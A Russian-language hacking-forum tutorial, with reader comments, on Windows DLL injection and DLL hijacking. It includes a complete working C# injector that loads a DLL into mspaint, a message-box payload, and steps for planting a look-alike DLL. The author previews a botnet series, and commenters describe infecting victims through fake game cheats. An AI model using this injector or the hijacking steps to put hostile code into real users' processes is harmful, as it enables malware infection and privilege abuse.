Статья DLL Injection

Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.

Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.

Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.

DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
C:
 #include <Windows.h>

extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK);
        break;
    }

    case DLL_PROCESS_DETACH:
        break;

    case DLL_THREAD_ATTACH:
        break;

    case DLL_THREAD_DETACH:
        break;
    }
    return true;
}

А далее напишем инжектор и разберем его по частям:

По сути основной смысл находится в этих двух методах
Код:
  public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess; // Получаем процесс куда инжектим
            string dllName = dllPath; // Имя дллки что инжектим
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код
            return 0;
        }

// Здесь же просто вызов метода инжект
        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }

Полностью весь код, целиком:

Код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Reflection;

namespace alphabotcsharp
{
    public class Injection
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            IntPtr lpThreadId);

        // privileges
        const int PROCESS_CREATE_THREAD = 0x0002;
        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int PROCESS_VM_OPERATION = 0x0008;
        const int PROCESS_VM_WRITE = 0x0020;
        const int PROCESS_VM_READ = 0x0010;

        // used for memory allocation
        const uint MEM_COMMIT = 0x00001000;
        const uint MEM_RESERVE = 0x00002000;
        const uint PAGE_READWRITE = 4;

        public static bool isInjected = false;
        [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool IsWow64Process(
            [In] IntPtr hProcess,
            [Out] out bool wow64Process
        );

        static bool is64BitProcess = (IntPtr.Size == 8);
        static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64();

        public static int inject(string dllPath, Process tProcess)
        {
            Process targetProcess = tProcess;
            string dllName = dllPath;
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
            IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            UIntPtr bytesWritten;
            WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
            CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
            return 0;
        }

        public static void Execute()
        {
            string rawDLL = String.Empty;
            if (is64BitOperatingSystem)
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            else
            {
                rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll");
            }
            // Execution of injection
            Process proc = Process.GetProcessesByName("mspaint")[0];
            Injection.inject(rawDLL, proc);
            isInjected = true;
        }
        public static Boolean isInjectedAlready()
        {
            if (isInjected)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        public static bool InternalCheckIsWow64()
        {
            if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) ||
                Environment.OSVersion.Version.Major >= 6)
            {
                using (Process p = Process.GetCurrentProcess())
                {
                    bool retVal;
                    if (!IsWow64Process(p.Handle, out retVal))
                    {
                        return false;
                    }
                    return retVal;
                }
            }
            else
            {
                return false;
            }
        }
    }

    public class Program
    {
        public static void Main()
        {
            Injection.Execute();
        }
    }
}

Профит
upload_2016-12-25_3-20-44.png


DLL Hijacking
Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.

Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.

Код:
using System.Windows.Forms;

namespace DllValid
{
    public class Validation
    {
        public void GetMessage()
        {
            MessageBox.Show("Я нормальная библиотека");
        }
 
    }
}

А вот код метода Main, когда мы подключим нашу библиотеку.
upload_2016-12-25_3-39-57.png

Код:
using DllValid;

namespace alphabotcsharp
{
    public class Program
    {
        public static void Main()
        {
            Validation message = new Validation();
            message.GetMessage();
        }
    }
}

Убедимся, что всё работает.
upload_2016-12-25_3-44-36.png


Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
upload_2016-12-25_3-51-7.png

Загрузим в утилиту наш билд:

upload_2016-12-25_3-49-46.png

Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.

Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance

В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.

Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
upload_2016-12-25_4-11-49.png


На этом всё, всем спасибо. :)

P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
 

Вложения

  • upload_2016-12-25_3-20-24.png
    upload_2016-12-25_3-20-24.png
    25,8 КБ · Просмотры: 947
  • upload_2016-12-25_3-44-22.png
    upload_2016-12-25_3-44-22.png
    2,3 КБ · Просмотры: 538
Последнее редактирование:
R

rebetuk

Ни хера не понял как создать такую иньекцию египетская писанина.
 
Последнее редактирование модератором:
R

rebetuk

Как такую иньекцию сделать в какой программе? не ужели под windows? если я сижу на kali linux
С перва объяснил что иньекция собираеться винде и палевность антивируса высока.
 
F

fisherdept


Написано на шарпе я так понимаю? Раньше в вузе изучали плюсы, теперь решил осилить ньюансы c#, так как пока не силен в этом. Какой язык для тебя приоритетней при написания кода под win и unix в рамках тем про ИБ?
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Написано на шарпе я так понимаю? Раньше в вузе изучали плюсы, теперь решил осилить ньюансы c#, так как пока не силен в этом. Какой язык для тебя приоритетней при написания кода под win и unix в рамках тем про ИБ?
Для ИБ шарп не самый лучший выбор. Просто я профессиональный программист на .Net, лично я для ИБ задач использую питон. Хотя разработки в ИБ, которые читсо под вин должны работать я беру на шарпе, так как по возможностях в среде Windows он сильнее в разы. А так питончик любят хекеры.
 
Последнее редактирование:
  • Нравится
Реакции: Apton, Vander и fisherdept
B

BaJIepraH

Для ИБ шарп не самый лучший выбор. Просто я профессиональный программист на .Net, лично я для ИБ задач использую питон. Хотя разработки в ИБ, которые читсо под вин должны работать я беру на шарпе, так как по возможностях в среде Windows он сильнее в разы. А так питончик любит хекеры.
вот еще одно авторитетное мнение про питон,руки чешутся уже на него посмотреть,но не хочу мозг забивать пока под сишку не адаптируюсь толком,за статью спасибо,вдумчиво перечитаю еще,как раз будет на чём потренить до написания второй части про бтнт
 
J

JuicyBrute

Как такую иньекцию сделать в какой программе? не ужели под windows? если я сижу на kali linux
С перва объяснил что иньекция собираеться винде и палевность антивируса высока.
"неужели под windows"....а потенциальная жертва тоже что ли на Kali Linux сидит? 90% пользователей сидят за виндой, 6% на маках, оставшийся процент думаю сам посчитать сможешь. Лишь бы чо написать....
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
"неужели под windows"....а потенциальная жертва тоже что ли на Kali Linux сидит? 90% пользователей сидят за виндой, 6% на маках, оставшийся процент думаю сам посчитать сможешь. Лишь бы чо написать....
В Linux нет понятия DLL, есть понятия библиотеки So, поэтому он глупость сказал.
 
  • Нравится
Реакции: Vander

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Обычно таким образом делаеться заражение через распростронение читов к онлайн играм , танки, cs go,cs 1.6 и т.д
Вы типо находите в интернете халявные рабочие читы без исходного кода,запускаете и радуетесь работоспособности читам))) Небойсь еще кентикам всем своим раскажите что так просто читером быть и посоветуете скачать рабочие читы) А в 90 % случаев там будет лежать какая то вредоносная dll-ка(но не всегда,билд может быть вшит просто в билд) ;)
Например все помнят как для cs 1.6 нужно было положить dll-ку в корень с игрой - что бы работал WallHack )
 
  • Нравится
Реакции: SooLFaa и BaJIepraH

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Обычно таким образом делаеться заражение через распростронение читов к онлайн играм , танки, cs go,cs 1.6 и т.д
Вы типо находите в интернете халявные рабочие читы без исходного кода,запускаете и радуетесь работоспособности читам))) Небойсь еще кентикам всем своим раскажите что так просто читером быть и посоветуете скачать рабочие читы) А в 90 % случаев там будет лежать какая то вредоносная dll-ка ;)
Я помню пару лет назад я так CS Server поднимал со своим AMX плагином и такой dll'кой
 
S

stilya

Читаю уже не один мануал, но как видно они рассчитаны на профи, подскажите пожалуйста с чего начать новичку чтоб, хоть как-то быть в курсе тем, которых здесь очень много, заранее благодарен, всех с НГ и Рождеством Христовым!!!
 
H

Hover

Читаю уже не один мануал, но как видно они рассчитаны на профи, подскажите пожалуйста с чего начать новичку чтоб, хоть как-то быть в курсе тем, которых здесь очень много, заранее благодарен, всех с НГ и Рождеством Христовым!!!
Не расчитаны они не на кого.. просто дают взглянуть со стороны на некоторые технологии и исполнения.
Вы сначала языки освойте, еще немного сетевые технологи и потом уже будет какой то смысл читать и применять.
 
S

stilya

Не расчитаны они не на кого.. просто дают взглянуть со стороны на некоторые технологии и исполнения.
Вы сначала языки освойте, еще немного сетевые технологи и потом уже будет какой то смысл читать и применять.
На какие языки необходимо обратить внимание и что понимать под сетевыми технологиями, немного размытое понятие?
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
На какие языки необходимо обратить внимание и что понимать под сетевыми технологиями, немного размытое понятие?
Впринципе. Статьи из разряда этой или ботнета, рассчитаны на людей которые уже вкурсе примерно о чем идет речь. Ибо это техника применяется как правило для повышения привелегий в уже захваченной машине.
 
  • Нравится
Реакции: PingVinich и stilya
S

stilya

Впринципе. Статьи из разряда этой или ботнета, рассчитаны на людей которые уже вкурсе примерно о чем идет речь. Ибо это техника применяется как правило для повышения привелегий в уже захваченной машине.
Так что же мне делать...желание есть...с чего начать господа...php знаю и что связано с ним...не думаю что будет трудно изучить то что необходимо для понимания тем что здесь освещены!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!